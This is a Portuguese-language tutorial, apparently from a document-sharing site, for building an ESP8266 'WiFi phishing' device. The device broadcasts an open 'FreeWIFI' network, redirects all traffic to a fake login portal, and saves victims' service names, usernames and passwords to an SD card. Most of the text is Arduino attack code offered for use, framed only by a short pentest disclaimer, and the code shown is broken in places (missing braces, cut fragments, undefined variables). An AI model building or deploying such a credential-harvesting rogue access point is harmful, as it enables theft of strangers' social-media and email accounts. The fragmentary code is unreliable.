Escolar Documentos
Profissional Documentos
Cultura Documentos
Hoje vou te mostrar o passo a passo pra você construir seu wifi phishing do 0 que permite
pegar contas do facebook, linkedin, google e mais uma porrada de coisa
Lembrando que isso aqui é para você usar nos seus testes de pentest e em ambientes
controlados, não me responsabilizo caso você use de maneira inadequada.
O funcionamento desse gadget é bem simples, ele vai te gerar uma rede WIFI, e quando
outra pessoa for tentar se conectar nessa rede ele vai redirecionar ela para uma tela fake
para ele poder se autenticar e conseguir usar o WIFI, mas lembre-se que ele não
conseguirá usar, sempre que ele fizer a autenticação ele será redirecionado para uma tela
de erro e o login e senha irá cair no seu dispostivo.
Link de compra:
https://www.amazon.com.br/Jumpers-Femea-Kit-com-Pecas/dp/B08L7SLJ5S
3) ESP8266 - R$80
https://m.media-amazon.com/images/I/6110Sqg1AqL._AC_SX679_.jpg
Link de compra:
https://www.amazon.com.br/ESP8266-CH340G-NodeMcu-desenvolvimento-Internet/dp/B08
H26NY16
Tudo isso vai sair na média dos R$100, aconselho você procurar uma loja de componentes
eletrônicos na cidade de vocês para sair mais barato ainda.
Agora vamos para a montagem do gadget que é bem simples.
Pegue o leitor de cartão e o ESP e conecte os fios jumpers nos pinos seguindo essa
relação:
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>
#include <ESP8266mDNS.h>
#include <SPI.h>
#include <SD.h>
#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#define DNS_PORT 53
#define HTTP_PORT 80
#define SDCARD_CS_PIN SS
#define BLOCK_SSID_REQUEST
#define DEFAULT_SSID_PREFIX "FreeWIFI"
#define DEFAULT_HTML_PREFIX "portal.htm"
#define DEFAULT_ERROR_PREFIX "erro1.htm"
#define AP_ADDRESS "172.217.28.1"
#define AP_NETMASK "255.255.255.0"
#define AP_CHANNEL 1
#define AP_MAX_CLIENTS 5
#define HOSTNAME "login"
#define FILENAME_SSID "ssid.txt"
#define FILENAME_HTML "index.txt"
#define FILENAME_ERROR "error.txt"
#define FILENAME_DATALOG "datalog.txt"
#define FILENAME_FILE "file.txt"
#define OLED_RESET 0 // GPIO0
Adafruit_SSD1306 display(OLED_RESET);
#define XPOS 0
#define YPOS 1
#define DELTAY 2
DNSServer dnsServer;
ESP8266WebServer server(HTTP_PORT);
int lastClientCount = -1;
String html = DEFAULT_HTML_PREFIX;
String error = DEFAULT_ERROR_PREFIX;
String ssid = DEFAULT_SSID_PREFIX;
// 'fotoefeitos', 64x48px
const unsigned char epd_bitmap_fotoefeitos [] PROGMEM = {
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe0, 0x1f, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0x9f, 0xc7, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f, 0xe3, 0xff, 0xff, 0xff,
0xff, 0xff, 0xfe, 0xff, 0xe1, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xff, 0xc0, 0xff, 0xff, 0xff,
0xff, 0xff, 0xfd, 0xff, 0xc3, 0x7f, 0xff, 0xff, 0xff, 0xff, 0xf9, 0xff, 0xc7, 0x7f, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x87, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x0f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0x81, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8, 0x00, 0x00, 0x3f, 0xff, 0xff,
0xff, 0xff, 0xf9, 0xf8, 0x20, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xf9, 0xfc, 0x30, 0x3f, 0xff, 0xff,
0xff, 0xff, 0xf9, 0xfd, 0x38, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xfd, 0xf9, 0xb8, 0x3f, 0xff, 0xff,
0xff, 0xff, 0xfd, 0xfb, 0xbc, 0x7f, 0xff, 0xff, 0xff, 0xff, 0xfc, 0x23, 0xc8, 0x7f, 0xff, 0xff,
0xff, 0xff, 0xfb, 0x0f, 0xe1, 0xbf, 0xff, 0xff, 0xff, 0xff, 0xf9, 0xff, 0xff, 0xbf, 0xff, 0xff,
0xff, 0xff, 0xf9, 0xe0, 0x07, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xf8, 0x80, 0x00, 0x1f, 0xff, 0xff,
0xff, 0xff, 0xf8, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x01, 0x80, 0x1f, 0xff, 0xff,
0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff,
0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff,
0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x00, 0x00, 0x0f, 0xff, 0xff,
0xff, 0xff, 0xf8, 0x00, 0x00, 0x0f, 0xff, 0xff, 0xff, 0xff, 0xf8, 0x00, 0x00, 0x1f, 0xff, 0xff,
0xff, 0xff, 0xfc, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xfc, 0x00, 0x00, 0x1f, 0xff, 0xff,
0xff, 0xff, 0xfc, 0x00, 0x00, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x00, 0x00, 0x3f, 0xff, 0xff,
0xff, 0xff, 0xfe, 0x00, 0x00, 0x3f, 0xff, 0xff, 0xff, 0xff, 0xfe, 0x00, 0x00, 0x7f, 0xff, 0xff,
0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xc0, 0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0, 0x07, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xf8, 0x1f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfc, 0x3f, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
// Array of all bitmaps for convenience. (Total bytes used to store images in PROGMEM =
400)
const int epd_bitmap_allArray_LEN = 1;
const unsigned char* epd_bitmap_allArray[1] = {
epd_bitmap_fotoefeitos
};
String input;
File myFile;
File root;
int cnt = 5;
void setup() {
delay(1000);
digitalWrite(2, LOW);
Serial.begin(9600);
digitalWrite(0, HIGH);
display.begin(SSD1306_SWITCHCAPVCC, 0x3c);
display.clearDisplay();
display.setTextSize(0);
display.setTextColor(WHITE);
display.setCursor(0, 0);
Serial.println();
Serial.println(" _____ _____ __ _____ ");
Serial.println("| | | ||/ | | ");
Serial.println("| | | _| | _ |");
Serial.println("| | | | | | | |");
Serial.println("| |_ | _| | |_| |");
Serial.println("| || || |");
Serial.println("|_______||_______| |_____| ");
Serial.println(" __________________________");
Serial.println("| |");
Serial.println("| WiFi Phishing |");
Serial.println("| Leonardo La Rosa |");
Serial.println("| sp.leonardo@gmail.com |");
Serial.println("|_________________________|");
Serial.println();
display.drawBitmap(0, 0, epd_bitmap_fotoefeitos, 64, 48, WHITE);
display.display();
delay(2000);
display.clearDisplay();
display.setTextSize(0);
display.setTextColor(WHITE);
display.println("WiFi");
display.println("Phishing");
display.println("");
display.println("by RL34075");
display.display();
delay(2000);
display.clearDisplay();
display.setCursor(0,0);
if (SD.begin(SDCARD_CS_PIN)) {
} else {
Serial.println("Falha ao iniciar o cartao SD");
Serial.println("Sistema parado.");
display.println("Erro no cartao");
while (true);
}
if (SD.exists(FILENAME_HTML)) {
File htmlFile = SD.open(FILENAME_HTML);
html = htmlFile.readString();
htmlFile.close();
if( html=="105"){
html="portal.htm";}
Serial.print(" HTML (index.txt): "); Serial.println(html);
display.println(html);
} else {
Serial.print(" HTML (gerado): "); Serial.println(html);
display.println(html);
}
if (SD.exists(FILENAME_ERROR)) {
File errorFile = SD.open(FILENAME_ERROR);
error = errorFile.readString();
errorFile.close();
Serial.print(" Erro (error.txt): "); Serial.println(error);
display.println(error);
} else {
display.println(error);
Serial.print(" Erro (gerado): "); Serial.println(error);
}
display.display();
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(ip, ip, nm);
WiFi.softAP(ssid.c_str(), "", AP_CHANNEL, false, AP_MAX_CLIENTS);
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(DNS_PORT, "*", ip);
Serial.print("\n");
server.on("/login.htm", handleLogin);
server.on("/result.htm", handleResult);
server.on("/", redirectToCaptivePortal);
#ifdef BLOCK_DATALOG_REQUEST
server.on(getUrlFromFileName(FILENAME_DATALOG), send404);
#endif
#ifdef BLOCK_SSID_REQUEST
server.on(getUrlFromFileName(FILENAME_SSID), send404);
#endif
server.onNotFound(handleRequest);
server.begin();
Serial.println("\n");
Serial.println("Tecle ? para ver a lista de comandos");
Serial.println("\n\n");
root = SD.open("/");
printDirectory(root, 0);
}
//SD.remove("erro.txt");
//myFile = SD.open("erro.txt", FILE_WRITE);
//if (myFile) {
// myFile.println(erro);
// myFile.close();
//}
//}
}
void reset_config(void) {
delay(3000);
ESP.reset();
ESP.reset();
}
void loop() {
dnsServer.processNextRequest();
server.handleClient();
else if (input.startsWith("L")) {
myFile = SD.open("datalog.txt");
if (myFile) {
while (myFile.available()) {
Serial.write(myFile.read());
}
myFile.close();
}
}
else if (input.startsWith("A")) {
myFile = SD.open("file.txt");
if (myFile) {
while (myFile.available()) {
Serial.write(myFile.read());
}
myFile.close();
}
else if (input.startsWith("D")) {
SD.remove("datalog.txt");
myFile = SD.open("datalog.txt", FILE_WRITE);
if (myFile) {
myFile.println(" ");
myFile.close();
ESP.restart();
}
}
else if (input.startsWith("T")) {
Serial.print("\n\n");
Serial.println("************************** ATENCAO *********************");
Serial.println("* *");
Serial.println("* Essa é uma ferramenta de CyberSeguranca desenvolvida *");
Serial.println("* para profissionais da area que querem testar seus *");
Serial.println("* ambientes e conscientizar seus usuarios sobre o *");
Serial.println("* perigo do uso de internet gratuita. *");
Serial.println("* *");
Serial.println("* O autor nao se responsabiliza pelo uso inadequado *");
Serial.println("* da ferramenta e enfatiza a proibicao do seu uso em *");
Serial.println("* ambientes nao controlados. *");
Serial.println("* *");
Serial.println("* Ressalta tambem que a captura de dados de terceiros *");
Serial.println("* sem seu concentimento caracteriza crime conforme *");
Serial.println("* LEI Nº 12.737, de 30 de novembro de 2012. *");
Serial.println("* *");
Serial.println("********************************************************");
}
else if (input.startsWith("C")) {
Serial.print("\n\n");
Serial.print(" Endereço IP : "); Serial.println(AP_ADDRESS);
Serial.print(" Endereçco MAC : "); Serial.println(WiFi.softAPmacAddress());
Serial.print(" Nome do Host : "); Serial.println(HOSTNAME);
}
else if (input.startsWith("S")) {
SD.remove("SSID.txt");
myFile = SD.open("SSID.txt", FILE_WRITE);
if (myFile) {
myFile.println(input.substring(1));
myFile.close();
reset_config();
}
}
else if (input.startsWith("M")) {
SD.remove("index.txt");
myFile = SD.open("index.txt", FILE_WRITE);
if (myFile) {
myFile.println(input.substring(1));
myFile.close();
}
reset_config();
}
else if (input.startsWith("E")) {
SD.remove("error.txt");
myFile = SD.open("error.txt", FILE_WRITE);
if (myFile) {
myFile.println(input.substring(1));
myFile.close();
}
reset_config();
}
else if (input.startsWith("R")) {
reset_config();
}
else {
Serial.println("\n\n");
Serial.println("Comando Invalido");
}
}
}
void handleLogin() {
// Save form data to text file
File logFile = SD.open(FILENAME_DATALOG, FILE_WRITE);
if (logFile) {
String logLine = server.arg("svc");
logLine += "\t" + server.arg("usr");
logLine += "\t" + server.arg("pwd");
Serial.println(logLine);
logFile.println(logLine);
logFile.close();
} else {
Serial.println("Error opening data file.");
}
void handleResult() {
String validaSSID = server.arg("ssid");
if (validaSSID != "") {
SD.remove(FILENAME_SSID);
myFile = SD.open(FILENAME_SSID, FILE_WRITE);
if (myFile) {
myFile.println(server.arg("ssid"));
myFile.close();
}
void handleRequest() {
if (server.hostHeader() != AP_ADDRESS) redirectToCaptivePortal();
if (sendFileFromSD(server.uri())) return;
send404();
}
void send404() {
String message = "<html><head><title>404 Object Not
Found</title></head><body><h1>404 Object Not Found</h1></body></html>";
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
server.send(404, "text/html", message);
}
void redirectToCaptivePortal() {
String location = "http://";
location += AP_ADDRESS;
location += "/";
location += html;
Após o upload, basta conectar o ESP a uma fonte de alimentação e já estará funcionando.
Github: https://github.com/AcadiTi/Bhack2022/tree/main
RyzenTheCrysec 🎩